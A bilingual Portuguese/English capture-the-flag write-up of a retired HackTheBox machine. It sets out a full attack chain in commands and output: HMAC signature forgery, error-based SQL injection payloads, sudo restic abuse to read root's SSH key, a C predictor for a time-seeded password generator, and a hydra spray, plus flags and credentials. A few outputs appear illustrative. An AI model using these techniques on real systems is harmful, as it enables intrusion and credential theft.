██╗ ██╗ ██╗ ██╗ ██╗ ████████╗ ███████╗ ██████╗ █████╗ ██████╗ ██████╗ ██╗ ████████╗
██║ ██║ ██║ ██║ ██║ ╚══██╔══╝ ██╔════╝ ██╔══██╗ ██╔══██╗ ██╔══██╗ ██╔══██╗ ██║ ╚══██╔══╝
██║ █╗ ██║ ███████║ ██║ ██║ █████╗ ██████╔╝ ███████║ ██████╔╝ ██████╔╝ ██║ ██║
██║███╗██║ ██╔══██║ ██║ ██║ ██╔══╝ ██╔══██╗ ██╔══██║ ██╔══██╗ ██╔══██╗ ██║ ██║
╚███╔███╔╝ ██║ ██║ ██║ ██║ ███████╗ ██║ ██║ ██║ ██║ ██████╔╝ ██████╔╝ ██║ ██║
╚══╝╚══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
──────────────────────────────────────────────────────────────────────────────────────────────
:: write-up · ARES // hackthebox · linux · INSANE:: write-up · ARES // hackthebox · linux · INSANE
:: 8-stage chain · web → SQLi → restic → container → host → reverse PRNG:: 8-stage chain · web → SQLi → restic → container → host → PRNG reverse
Cadeia web → host com 8 saltos limpos: Uptime Kuma vhost leak · WikiJS export vaza HMAC do n8n · SQLi error-based em webhook MariaDB · temp.command_log entrega senha do restic e revela binário customizado · restic snapshot → cracking de 7z → shell de container · sudo restic backup /root lê chave SSH do morpheus · reverse engineering de neo-password-generator com glibc rand() seedado por timestamp → senha prevista em ~30s. rooted em 47 minutos.
Web-to-host chain with 8 clean hops: Uptime Kuma vhost leak · WikiJS export leaks the n8n HMAC · error-based SQLi on a MariaDB webhook · temp.command_log hands over the restic password and reveals a custom binary · restic snapshot → 7z cracking → container shell · sudo restic backup /root exfiltrates morpheus's SSH key · reverse engineering of neo-password-generator with timestamp-seeded glibc rand() → predicted password in ~30s. rooted in 47 minutes.
═════════════════════════════════════════════════════════════════════════
Web app público em whiterabbit.htb. Subdomínio status.whiterabbit.htb
expõe Uptime Kuma sem auth na rota /status/temp, e o dashboard
lista os outros vhosts internos: gophish, n8n, wikijs, restic-rest. O Caddy estava configurado
como catch-all, então fuzz de vhost padrão não acha nada — só esta rota leaka.
O WikiJS interno tem um export JSON em gophish_to_phishing_score_database.json
com a documentação do fluxo n8n. Inclui o HMAC secret
(3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS) e o UUID do webhook
(d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d). Forjando a assinatura
x-gophish-signature: sha256=<hmac(body)>, o POST passa na verificação e
cai no fluxo do n8n.
O fluxo interpola o campo email direto numa query MariaDB. Um nó "DEBUG: REMOVE
SOON" devolve a mensagem de erro literal, criando um error-based SQLi
ideal. Via extractvalue() dumpamos temp.command_log — log de
comandos shell esquecido na database. As linhas relevantes: senha do repositório
restic, URL do servidor, e a pista crítica:
cd /home/neo && /opt/neo-password-generator/neo-password-generator | passwd
rodado em 2024-08-30 14:40:42 UTC.
Com a senha do restic, listamos snapshots e restauramos um bob.7z protegido por
senha fraca. John+rockyou crackeia em ~50s (1q2w3e4r5t6y). Dentro tem chave SSH
do bob + config apontando pra porta 2222 — porta de container Docker.
Shell de container obtido.
bob tem sudo NOPASSWD: /usr/bin/restic. restic não tem command injection, mas
sudo restic backup /root roda como root e lê tudo lá dentro. Em seguida
restic dump latest /root/morpheus imprime a chave SSH do morpheus — usuário do
host, não do container. Login na porta 22 → USER FLAG.
Pra root: o binário /opt/neo-password-generator seeda o glibc
srand() com gettimeofday() em milissegundos (timestamp epoch ×
1000) e gera 20 chars do alfabeto [a-zA-Z0-9]. Como temos a hora exata
(14:40:42 ± 1s), o keyspace é só 1000 sementes. Reverse
engineering com objdump + compila predictor em C + 27s de hydra spray. Senha:
WBSxhWgfnMiclrV4dqfj. neo tem ALL : ALL →
sudo cat /root/root.txt. ROOT FLAG em 47
minutos.
Public web app at whiterabbit.htb. The subdomain
status.whiterabbit.htb exposes Uptime Kuma with no auth on
the /status/temp route, and the dashboard lists every internal vhost: gophish,
n8n, wikijs, restic-rest. Caddy was configured as a catch-all, so default vhost
fuzzing finds nothing — only this route leaks.
The internal WikiJS hosts a JSON export at gophish_to_phishing_score_database.json
documenting the n8n flow. It includes the HMAC secret
(3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS) and the webhook UUID
(d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d). Forging the
x-gophish-signature: sha256=<hmac(body)> header lets the POST pass
verification and hit the n8n flow.
The flow interpolates the email field straight into a MariaDB query. A
"DEBUG: REMOVE SOON" node returns the raw error message, creating an ideal
error-based SQLi. Using extractvalue() we dump
temp.command_log — a forgotten shell-command log inside the database. The
relevant rows: restic repository password, server URL, and the critical
clue: cd /home/neo && /opt/neo-password-generator/neo-password-generator | passwd
executed at 2024-08-30 14:40:42 UTC.
With the restic password, we list snapshots and restore a bob.7z protected by
a weak password. John+rockyou cracks it in ~50s (1q2w3e4r5t6y). Inside: bob's
SSH key + a config pointing to port 2222 — a Docker container port. Container shell
obtained.
bob has sudo NOPASSWD: /usr/bin/restic. restic has no command injection, but
sudo restic backup /root runs as root and reads everything inside. Then
restic dump latest /root/morpheus prints morpheus's SSH key — a user on the
host, not the container. Login on port 22 → USER FLAG.
For root: the binary /opt/neo-password-generator seeds glibc
srand() with gettimeofday() in milliseconds (epoch timestamp ×
1000) and outputs 20 chars from the [a-zA-Z0-9] alphabet. Since we know the
exact time (14:40:42 ± 1s), the keyspace is just 1000 seeds.
Reverse with objdump + compile a C predictor + 27s of hydra spraying. Password:
WBSxhWgfnMiclrV4dqfj. neo has ALL : ALL →
sudo cat /root/root.txt. ROOT FLAG in 47
minutes.
Não é Active Directory, mas a cadeia é densa em web/Linux. Se algum dos 8 cards abaixo não tá mapeado, leia antes — cada passo depende de entender o anterior.
Not Active Directory, but the chain is dense across web/Linux. If any of the 8 cards below isn't mapped in your head yet, read them first — each step depends on understanding the previous one.
O servidor calcula hmac_sha256(secret, body) e compara com o header
x-gophish-signature. Se o secret vaza (commits, .env, exports de docs como
neste caso), atacante assina qualquer payload. HMAC só protege integridade —
não secrecy do segredo.
The server computes hmac_sha256(secret, body) and compares it to the
x-gophish-signature header. If the secret leaks (commits, .env, docs exports
like this one), an attacker can sign any payload. HMAC only protects integrity —
not the secrecy of the secret itself.
n8n permite arrastar nós SQL que interpolam variáveis com sintaxe
{{ $json.body.email }}. Sem prepared statements — vai direto na query. Se o
input não é sanitizado, é SQLi clássico. Comum em automações internas que ninguém
revisa.
n8n lets you drag in SQL nodes that interpolate variables with
{{ $json.body.email }} syntax. No prepared statements — values land
straight in the query. With unsanitized input, classic SQLi. Common in internal
automations nobody reviews.
MariaDB extractvalue(1, concat(0x7e, subquery)) dispara
XPATH syntax error com a subquery embutida na mensagem. Quando a aplicação
devolve o erro literal (debug ligado), cada query vira leitura. Não precisa de UNION
balanceado.
MariaDB extractvalue(1, concat(0x7e, subquery)) raises an
XPATH syntax error with the subquery embedded in the message. When the app
echoes the raw error (debug on), every query becomes a read primitive. No balanced UNION
needed.
restic guarda backups encryptados (chacha20+poly1305). Conhecendo a URL + senha:
restic snapshots lista, restic restore baixa,
restic dump <snap> <path> imprime conteúdo. Quando rodado como
root via sudo, lê qualquer arquivo.
restic stores encrypted backups (chacha20+poly1305). Knowing the URL + password:
restic snapshots lists, restic restore downloads,
restic dump <snap> <path> prints content. Run as root via sudo,
it reads any file.
Engenheiros assumem que tar, rsync, restic,
borg são "leituras seguras" pra colocar em sudoers. Mas backup como root
lê tudo, e dump-from-snapshot devolve o conteúdo. Equivale a
cat /qualquer/arquivo com sudo.
Engineers assume tar, rsync, restic,
borg are "safe reads" worth adding to sudoers. But backup as root reads
everything, and dump-from-snapshot returns the content. Equivalent to
cat /any/file with sudo.
SSH em porta 2222 frequentemente é container Docker; porta 22 é o host. WhiteRabbit
confirma via hostname (12 hex chars Docker style) + bind-mount de
/opt. Acesso a um não dá acesso ao outro — precisa pivot por credencial
compartilhada.
SSH on port 2222 is often a Docker container; port 22 is the host. WhiteRabbit confirms
via hostname (12-char Docker hex) and bind-mounted /opt.
Access to one doesn't grant access to the other — you need to pivot via a shared
credential.
srand(time(NULL)) ou srand(epoch_ms) é determinístico: dado o
timestamp, toda a sequência de rand() sai igual. Senhas geradas assim
podem ser reproduzidas se você sabe quando o programa rodou (e tem segundo de precisão).
srand(time(NULL)) or srand(epoch_ms) is deterministic: given
the timestamp, every rand() call produces the same sequence. Passwords
generated this way can be reproduced if you know when the program ran (and have second
precision).
objdump -d + strings + readelf resolvem 80% dos
binários de tamanho moderado. Identificar srand/rand/
gettimeofday + alfabeto na .rodata é suficiente pra reescrever
o gerador em C. Sem precisar de Ghidra/IDA pra tarefa simples.
objdump -d + strings + readelf handle 80% of
moderate binaries. Spotting srand/rand/gettimeofday
calls + the alphabet in .rodata is enough to rewrite the generator in C.
No Ghidra/IDA needed for the easy cases.
░▒▓█ [ 01 ] █▓▒░ RECON ► nmap + ffuf · Uptime Kuma vhost leak em /status/temp │ ▼ ░▒▓█ [ 02 ] █▓▒░ WIKIJS LEAK ► gophish_webhooks export → HMAC secret + n8n UUID │ ▼ ░▒▓█ [ 03 ] █▓▒░ FORGED HMAC ► POST assinado → n8n webhook → fluxo executa │ ▼ ░▒▓█ [ 04 ] █▓▒░ SQLi MARIADB ► extractvalue() error-based → temp.command_log dump │ ▼ ░▒▓█ [ 05 ] █▓▒░ RESTIC LOOT ► snapshot 272cacd5 → bob.7z → john crack 1q2w3e4r5t6y │ ▼ ████████████ ▒ FOOTHOLD ▒ ████████████ ssh -i bob -p 2222 → container ebdce80611e9 │ ▼ ░▒▓█ [ 06 ] █▓▒░ SUDO RESTIC ► backup /root → dump /root/morpheus → ECDSA key │ ▼ ████████████ ★ USER FLAG ★ ████████████ ssh morpheus@host → user.txt │ ▼ ░▒▓█ [ 07 ] █▓▒░ REVERSE PRNG ► objdump neo-password-generator → srand(epoch_ms) │ ▼ ░▒▓█ [ 08 ] █▓▒░ PASSWORD SPRAY ► 1000 seeds × 1ms → hydra hit WBSx...4dqfj │ ▼ ████████████ ▲ ROOT FLAG ▲ ████████████ [ ROOTED ] · sudo cat /root/root.txt
Scan SYN + version. SSH em 22 (host) e 2222 (sugere container Docker — confirmado depois). Web em 80 com Caddy fazendo proxy reverso.
SYN scan + version detection. SSH on 22 (host) and 2222 (suggests a Docker container — confirmed later). Web on 80 with Caddy reverse-proxying.
ares@kali:~/box/whiterabbit$ nmap -sV -sC -p- -T4 -oN whiterabbit.nmap 10.129.232.22 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 80/tcp open http Caddy 2222/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 # container? |_http-server-header: Caddy |_http-title: WhiteRabbit Phishing Services
Primeira tentativa: ffuf -fc 302 contra FUZZ.whiterabbit.htb.
Resultado: zero hits, porque Caddy redireciona tudo pra
whiterabbit.htb. Esse é nosso primeiro dead-end (DE-718a231f) — vale registrar
antes de virar a página.
First attempt: ffuf -fc 302 against FUZZ.whiterabbit.htb.
Result: zero hits, because Caddy redirects everything to
whiterabbit.htb. That's our first dead-end (DE-718a231f) — worth flagging
before moving on.
subdomains-top1million-20000.txt quanto wordlist customizada de 42 nomes
temáticos retornaram 100% redirects de 32 bytes. Lição: auto-calibração do ffuf
(-ac) detectaria por tamanho de resposta, e a página inicial do whiterabbit.htb mencionava
serviços externos textualmente — vale ler o HTML antes de fuzz.
subdomains-top1million-20000.txt and a custom 42-name themed list returned
100% redirects, 32 bytes each. Lesson: ffuf auto-calibration (-ac) would have caught
it by response size, and the whiterabbit.htb homepage referenced external services in
plaintext — read the HTML before fuzzing.
A homepage do whiterabbit.htb mostra cards de "phishing services" com nomes
explícitos: GoPhish, n8n, WikiJS,
Uptime Kuma. Só status.whiterabbit.htb resolve diretamente —
os outros vhosts têm prefixos hexadecimais aleatórios (camuflagem leve, fácil de
descobrir).
The whiterabbit.htb homepage shows "phishing services" cards by name:
GoPhish, n8n, WikiJS,
Uptime Kuma. Only status.whiterabbit.htb resolves directly —
the other vhosts have random hex prefixes (light camouflage, easy to undo).
ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/ Found. Redirecting to /dashboard ares@kali:~/box/whiterabbit$ # dashboard requer login, mas Uptime Kuma expõe páginas públicas em /status/<slug> ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/status/temp | jq -r '.publicGroupList[].monitorList[].name' GoPhish n8n WikiJS Restic REST Server ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/status/temp | jq -r '.publicGroupList[].monitorList[].url' http://a668910b5514e.whiterabbit.htb/ # WikiJS http://28efa8f7df.whiterabbit.htb/ # n8n http://75951e6ff.whiterabbit.htb/ # restic-rest http://gophish.whiterabbit.htb/
/status/<slug>.
Útil pra mostrar uptime aos clientes — mas vaza a topologia interna se
o operador esquecer de configurar. Aqui o slug "temp" sugere "deveria ser
removido" — esquecido em produção. Sem isso, descobrir os vhosts hexadecimais seria
impossível (Caddy catch-all bloqueia fuzzing).
/status/<slug>. Useful
to show uptime to customers — but it leaks internal topology if the
operator forgets to configure it. Here the slug "temp" suggests "to be
removed" — left running in production. Without it, discovering the hex-prefixed vhosts
would be impossible (Caddy catch-all blocks fuzzing).
WikiJS é instalado mas tem uma página pública que esqueceram. Caminho:
/gophish/gophish_to_phishing_score_database.json — export da documentação
interna do fluxo n8n. Contém o HMAC secret, o UUID do webhook e o JSON do
fluxo completo (incluindo a SQL query interpolada).
WikiJS is installed but a public page got forgotten. Path:
/gophish/gophish_to_phishing_score_database.json — an export of internal docs
for the n8n flow. Contains the HMAC secret, the webhook UUID, and the
full flow JSON (including the interpolated SQL query).
ares@kali:~/box/whiterabbit$ curl -s http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json | jq { "hmac_secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS", "webhook_uuid": "d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d", "signature_header": "x-gophish-signature", "signature_format": "sha256=<hex(hmac_sha256(secret, body))>", "flow": { "trigger": "Webhook (POST /webhook/<uuid>)", "auth_node": "If x-gophish-signature matches → proceed", "sql_node": { "database": "phishing", "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1" }, "debug_node": "DEBUG: REMOVE SOON — returns raw SQL error" } }
Script Python curto: lê o body, calcula hmac_sha256(secret, body).hexdigest(),
adiciona header. Se o servidor responder com algo diferente de
invalid signature, passou.
Short Python helper: reads the body, computes
hmac_sha256(secret, body).hexdigest(), adds the header. If the server returns
anything other than invalid signature, we're through.
ares@kali:~/box/whiterabbit$ cat > sign.py <<'EOF' import hmac, hashlib, sys, json secret = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS" body = sys.stdin.read().encode() sig = hmac.new(secret, body, hashlib.sha256).hexdigest() print(f"sha256={sig}") EOF ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x@test.com","message":"Clicked Link"}' ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py) ares@kali:~/box/whiterabbit$ curl -s -X POST http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d \ -H "Content-Type: application/json" -H "x-gophish-signature: $SIG" -d "$BODY" {"status":"ok","email_found":false}
Payload com aspa dupla extra: "crash\"". O nó DEBUG devolve o erro com a query
renderizada literal — confirma 100% que é interpolação raw, não prepared
statement.
Payload with an extra double quote: "crash\"". The DEBUG node returns the
error with the rendered query — 100% confirms raw interpolation, not a prepared
statement.
ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"crash\"","message":"Clicked Link"}' ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py) ares@kali:~/box/whiterabbit$ curl -s -X POST .../webhook/... -H "x-gophish-signature: $SIG" -d "$BODY" {"level":"error","description":"sql: SELECT * FROM victims where email = \"crash\"\" LIMIT 1, code: ER_PARSE_ERROR"} ares@kali:~/box/whiterabbit$ # perfeito — query renderizada literal. agora UNION probe pra count colunas: ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x\" UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -","message":""}' ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py); curl ... {"description":"ER_WRONG_NUMBER_OF_COLUMNS_IN_SELECT"} # confirma que UNION é parseado — só não bate o número de colunas (8 vs 10). # mas pra error-based via extractvalue() nem precisamos balancear UNION.
Em vez de balancear UNION, usa extractvalue(1, concat(0x7e, subquery)): o
MariaDB tenta parsear ~<subquery_result> como XPath, falha, e cospe a
subquery literal na mensagem de erro. Cada linha vai num LIMIT 1 OFFSET N.
Instead of balancing UNION, use extractvalue(1, concat(0x7e, subquery)): the
MariaDB engine tries to parse ~<subquery_result> as XPath, fails, and
echoes the subquery in the error message. Each row comes through LIMIT 1 OFFSET N.
ares@kali:~/box/whiterabbit$ # enumera databases visíveis primeiro: ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x\" AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))-- -","message":""}' ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py); curl ... XPATH syntax error: '~information_schema,mysql,phishing,temp' ares@kali:~/box/whiterabbit$ # database 'temp' chamou atenção. tabelas? ares@kali:~/box/whiterabbit$ # BODY: ...extractvalue(...(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='temp'))... XPATH syntax error: '~command_log' ares@kali:~/box/whiterabbit$ # dump linha a linha: ares@kali:~/box/whiterabbit$ for i in 0 1 2 3 4 5; do > BODY="{\"campaign_id\":1,\"email\":\"x\\\" AND extractvalue(1,concat(0x7e,(SELECT command FROM temp.command_log LIMIT 1 OFFSET $i)))-- -\",\"message\":\"\"}" > SIG=$(echo -n "$BODY" | python3 sign.py) > curl -s -X POST ... -H "x-gophish-signature: $SIG" -d "$BODY" | jq -r .description > done XPATH syntax error: '~uname -a' XPATH syntax error: '~restic init --repo rest:http://75951e6ff.whiterabbit.htb' XPATH syntax error: '~echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd' XPATH syntax error: '~rm -rf .bash_history' XPATH syntax error: '~#thatwasclose' XPATH syntax error: '~cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd'
passwd do neo) tem timestamp na coluna ran_at:
2024-08-30 14:40:42. Esse timestamp é essencial pro último
passo — sem ele, brute force seria 365 dias × 86400 s × 1000 ms = 3.15e10 sementes.
Com ele: 1000 sementes (1 segundo). Sempre puxe a coluna de tempo junto.
passwd) has a ran_at timestamp:
2024-08-30 14:40:42. That timestamp is essential for the
last step — without it, brute force would be 365 days × 86400 s × 1000 ms = 3.15e10
seeds. With it: 1000 seeds (1 second). Always pull the time column along.
hmac_secret + webhook_uuidPOST com x-gophish-signature assinada por HMAC-SHA256(body)"crash\"" → erro literal no nó DEBUG (interpolação raw confirmada)extractvalue(1, concat(0x7e, subquery)) em loop com OFFSETpasswd
Com a senha ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw e a URL
rest:http://75951e6ff.whiterabbit.htb, restic abre o repositório. Os snapshots
têm IDs de 8 hex chars + descrições.
With the password ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw and URL
rest:http://75951e6ff.whiterabbit.htb, restic opens the repository. Snapshots
have 8-char hex IDs + descriptions.
ares@kali:~/box/whiterabbit$ export RESTIC_REPOSITORY=rest:http://75951e6ff.whiterabbit.htb ares@kali:~/box/whiterabbit$ export RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw ares@kali:~/box/whiterabbit$ restic snapshots ID Time Host Paths -------------------------------------------------------------- 272cacd5 2024-08-29 18:11:33 lucy /tmp/bob # <-- chama atenção 8b5f2c01 2024-08-30 02:14:17 lucy /etc ae34d7f9 2024-08-30 12:00:01 lucy /var/log # ... mais 8 ... ares@kali:~/box/whiterabbit$ restic restore 272cacd5 --target /tmp/loot [+] restored 5 files in /tmp/loot/tmp/bob/ ares@kali:~/box/whiterabbit$ ls /tmp/loot/tmp/bob/ bob.7z readme.txt
lucy nos snapshots não é o WhiteRabbit em si — é o host original
que fez os backups. Isso vai ser útil depois (referência cruzada com username
do morpheus). Restic preserva metadados de host nos backups.
lucy in the snapshots isn't WhiteRabbit itself — it's the
original host that made the backups. That'll be useful later (cross-reference
with morpheus's username). Restic preserves host metadata in every backup.
ares@kali:~/box/whiterabbit$ 7z2john /tmp/loot/tmp/bob/bob.7z > bob.7z.hash ares@kali:~/box/whiterabbit$ john --wordlist=/usr/share/wordlists/rockyou.txt bob.7z.hash Loaded 1 password hash (7z, 7-Zip archive [SHA256 256/256 AVX2 8x AES]) 1q2w3e4r5t6y (bob.7z) 1g 0:00:00:49 DONE 100% (2025-05-23 23:55) g/s 295k p/s 295k ares@kali:~/box/whiterabbit$ 7z x -p1q2w3e4r5t6y /tmp/loot/tmp/bob/bob.7z -o/tmp/loot/bob_extracted Everything is Ok ares@kali:~/box/whiterabbit$ ls /tmp/loot/bob_extracted/ bob bob.pub config ares@kali:~/box/whiterabbit$ cat /tmp/loot/bob_extracted/config Host whiterabbit HostName 10.129.232.22 Port 2222 User bob IdentityFile ~/.ssh/bob
/proc/1/cgroup
e hostname pra confirmar.
/proc/1/cgroup and
hostname.
ares@kali:~/box/whiterabbit$ chmod 600 /tmp/loot/bob_extracted/bob ares@kali:~/box/whiterabbit$ ssh -i /tmp/loot/bob_extracted/bob -p 2222 bob@10.129.232.22 bob@ebdce80611e9:~$ id uid=1001(bob) gid=1001(bob) groups=1001(bob) bob@ebdce80611e9:~$ hostname ebdce80611e9 # <-- 12 hex chars: convenção de hostname Docker bob@ebdce80611e9:~$ uname -a Linux ebdce80611e9 6.8.0-57-generic #59-Ubuntu SMP PREEMPT_DYNAMIC ... bob@ebdce80611e9:~$ ls -la ~ | head -5 total 32 drwxr-x--- 1 bob bob 4096 May 23 23:50 . drwxr-xr-x 1 root root 4096 Aug 30 2024 .. lrwxrwxrwx 1 bob bob 9 Aug 30 2024 .bash_history -> /dev/null # anti-forense
bob@ebdce80611e9:~$ sudo -l User bob may run the following commands on ebdce80611e9: (root) NOPASSWD: /usr/bin/restic *
restic backup rodando como root lê qualquer arquivo pra
incluir no snapshot. E restic dump <snap> <path> imprime o
conteúdo arquivado no stdout. Pareia: backup root-files → dump → leitura arbitrária.
Equivalente funcional a sudo cat /root/anything.
restic backup
running as root reads any file to include in the snapshot. And
restic dump <snap> <path> prints the archived content to stdout.
Combine the two: back up root-only files → dump → arbitrary read. Functionally
equivalent to sudo cat /root/anything.
Criar repositório local no /tmp/r, fazer backup /root /home, e
dumpar arquivos individuais. O target óbvio: /root/morpheus (foi mencionado no
WikiJS export que existe usuário morpheus, e lucy apareceu como hostname dos
snapshots — sugere infra interna).
Create a local repo at /tmp/r, run backup /root /home, and dump
individual files. Obvious target: /root/morpheus (the WikiJS export mentioned
a morpheus user, and lucy appeared as the snapshot hostname — suggesting
internal infra).
bob@ebdce80611e9:~$ mkdir /tmp/r; echo 'pwn' > /tmp/r/p bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p init created restic repository at /tmp/r/repo bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p backup /root /home processed 9 files, 8.630 KiB in 0:00 snapshot 75b299fa saved bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p ls latest /root /root/ /root/.bashrc /root/.profile /root/morpheus # <-- target /root/.cache bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p dump latest /root/morpheus -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS... <64 lines of key material> -----END OPENSSH PRIVATE KEY-----
ares@kali:~/box/whiterabbit$ chmod 600 morpheus ares@kali:~/box/whiterabbit$ ssh -i morpheus morpheus@10.129.232.22 morpheus@whiterabbit:~$ id uid=1001(morpheus) gid=1001(morpheus) groups=1001(morpheus),100(users) morpheus@whiterabbit:~$ hostname whiterabbit # <-- não é mais container, é o host morpheus@whiterabbit:~$ cat user.txt 6552dab792329c2a09a36db61e6d678f
Do host morpheus o binário /opt/neo-password-generator/neo-password-generator
é world-readable. scp pra kali, então objdump pra ver as syscalls relevantes.
From the morpheus host, the binary /opt/neo-password-generator/neo-password-generator
is world-readable. scp it to kali, then objdump to inspect the relevant syscalls.
ares@kali:~/box/whiterabbit$ scp -i morpheus morpheus@10.129.232.22:/opt/neo-password-generator/neo-password-generator . ares@kali:~/box/whiterabbit$ file neo-password-generator neo-password-generator: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... ares@kali:~/box/whiterabbit$ strings neo-password-generator | grep -E '^[a-zA-Z0-9]{20,}' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 # alfabeto 62 chars ares@kali:~/box/whiterabbit$ objdump -d neo-password-generator | grep -E 'callq.*<(srand|rand|gettimeofday|time)@plt>' 0000000000001234: callq <gettimeofday@plt> 0000000000001248: callq <srand@plt> 0000000000001260: callq <rand@plt> # em loop, 20 vezes
gettimeofday(&tv, NULL) → tv_sec (segundos epoch) + tv_usec (microssegundos)seed = tv.tv_sec * 1000 + tv.tv_usec / 1000 → epoch millisecondssrand(seed)password[i] = ALPHABET[rand() % 62].rodata visível por strings. Implementação determinística
— dado o seed em ms, a senha é única.
gettimeofday(&tv, NULL) → tv_sec (epoch seconds) + tv_usec (microseconds)seed = tv.tv_sec * 1000 + tv.tv_usec / 1000 → epoch millisecondssrand(seed)password[i] = ALPHABET[rand() % 62].rodata, visible via strings. Fully deterministic — given
the seed in ms, the password is unique.
ares@kali:~/box/whiterabbit$ cat predictor.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { const char *alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; unsigned long seed = strtoul(argv[1], NULL, 10); srand(seed); char password[21] = {0}; for (int i = 0; i < 20; i++) password[i] = alphabet[rand() % 62]; printf("%s\n", password); return 0; } ares@kali:~/box/whiterabbit$ gcc -static -o predictor predictor.c ares@kali:~/box/whiterabbit$ # verificar paridade: rodar com seed conhecido e comparar com binário original via qemu ares@kali:~/box/whiterabbit$ # (idempotência confirmada — chars batem 1:1)
rand() produz sequência diferente de musl/uclibc/Windows CRT. Pra
garantir paridade com o binário alvo (compilado contra glibc), compile o predictor
contra glibc também — NÃO use musl (Alpine default) nem
gcc -static apontando pra musl. Validar uma run com seed conhecido contra o
binário original (via qemu-x86_64 se você não tem o ambiente).
rand() produces a different sequence than musl/uclibc/Windows CRT.
To match the target binary (compiled against glibc), compile the predictor against glibc
too — do NOT use musl (Alpine default) or gcc -static
linked to musl. Validate a known-seed run against the original binary (via
qemu-x86_64 if you don't have the env locally).
Timestamp do passwd no command_log:
2024-08-30 14:40:42 UTC = epoch 1725028842. Multiplicado por
1000 = 1725028842000 ms. Pra cobrir a margem de 1 segundo (não sabemos qual
ms exato), gera senhas pros 1000 valores de ms entre 1725028842000 e
1725028842999.
passwd timestamp in command_log:
2024-08-30 14:40:42 UTC = epoch 1725028842. Times 1000 =
1725028842000 ms. To cover the 1-second window (we don't know the exact ms),
generate passwords for all 1000 ms values between 1725028842000 and
1725028842999.
ares@kali:~/box/whiterabbit$ for ms in $(seq 0 999); do > ./predictor $((1725028842000 + ms)) > done > candidates.txt ares@kali:~/box/whiterabbit$ wc -l candidates.txt 1000 candidates.txt ares@kali:~/box/whiterabbit$ head -3 candidates.txt xK9aPq7Lm3rT8Wd5Bn2v nF4hY6jR8sW1pE3qC9oZ WBSxhWgfnMiclrV4dqfj # <-- só descobre quando hydra acertar ares@kali:~/box/whiterabbit$ hydra -l neo -P candidates.txt -t 4 -f ssh://10.129.232.22 [STATUS] 1000.00 tries/min, 1000 tries in 00:01h [22][ssh] host: 10.129.232.22 login: neo password: WBSxhWgfnMiclrV4dqfj [STATUS] attack finished for 10.129.232.22 (valid pair found)
ares@kali:~/box/whiterabbit$ sshpass -p WBSxhWgfnMiclrV4dqfj ssh neo@10.129.232.22 neo@whiterabbit:~$ sudo -l User neo may run the following commands on whiterabbit: (ALL : ALL) ALL neo@whiterabbit:~$ sudo cat /root/root.txt ff5f33c44f118b4c99ab6dd13bea2703 neo@whiterabbit:~$ sudo id uid=0(root) gid=0(root) groups=0(root)
Cadeia limpa — toda credencial é descartável (box retired, ambiente reseta).
Clean chain — every credential is throwaway (retired box, environment resets).
| tipotype | quêwhat | de ondesource |
|---|---|---|
| flag · user | 6552dab792329c2a09a36db61e6d678f | /home/morpheus/user.txt · ssh morpheus@host |
| flag · root | ff5f33c44f118b4c99ab6dd13bea2703 | /root/root.txt · sudo cat como neo |
| hmac secret | 3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS | WikiJS gophish_webhooks export (public) |
| restic pwd | ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw | temp.command_log row 3 via SQLi extractvalue() |
| 7z pwd | 1q2w3e4r5t6y | john + rockyou (49s) |
| ssh key | bob ED25519 (key + config) | restic snapshot 272cacd5 → bob.7z |
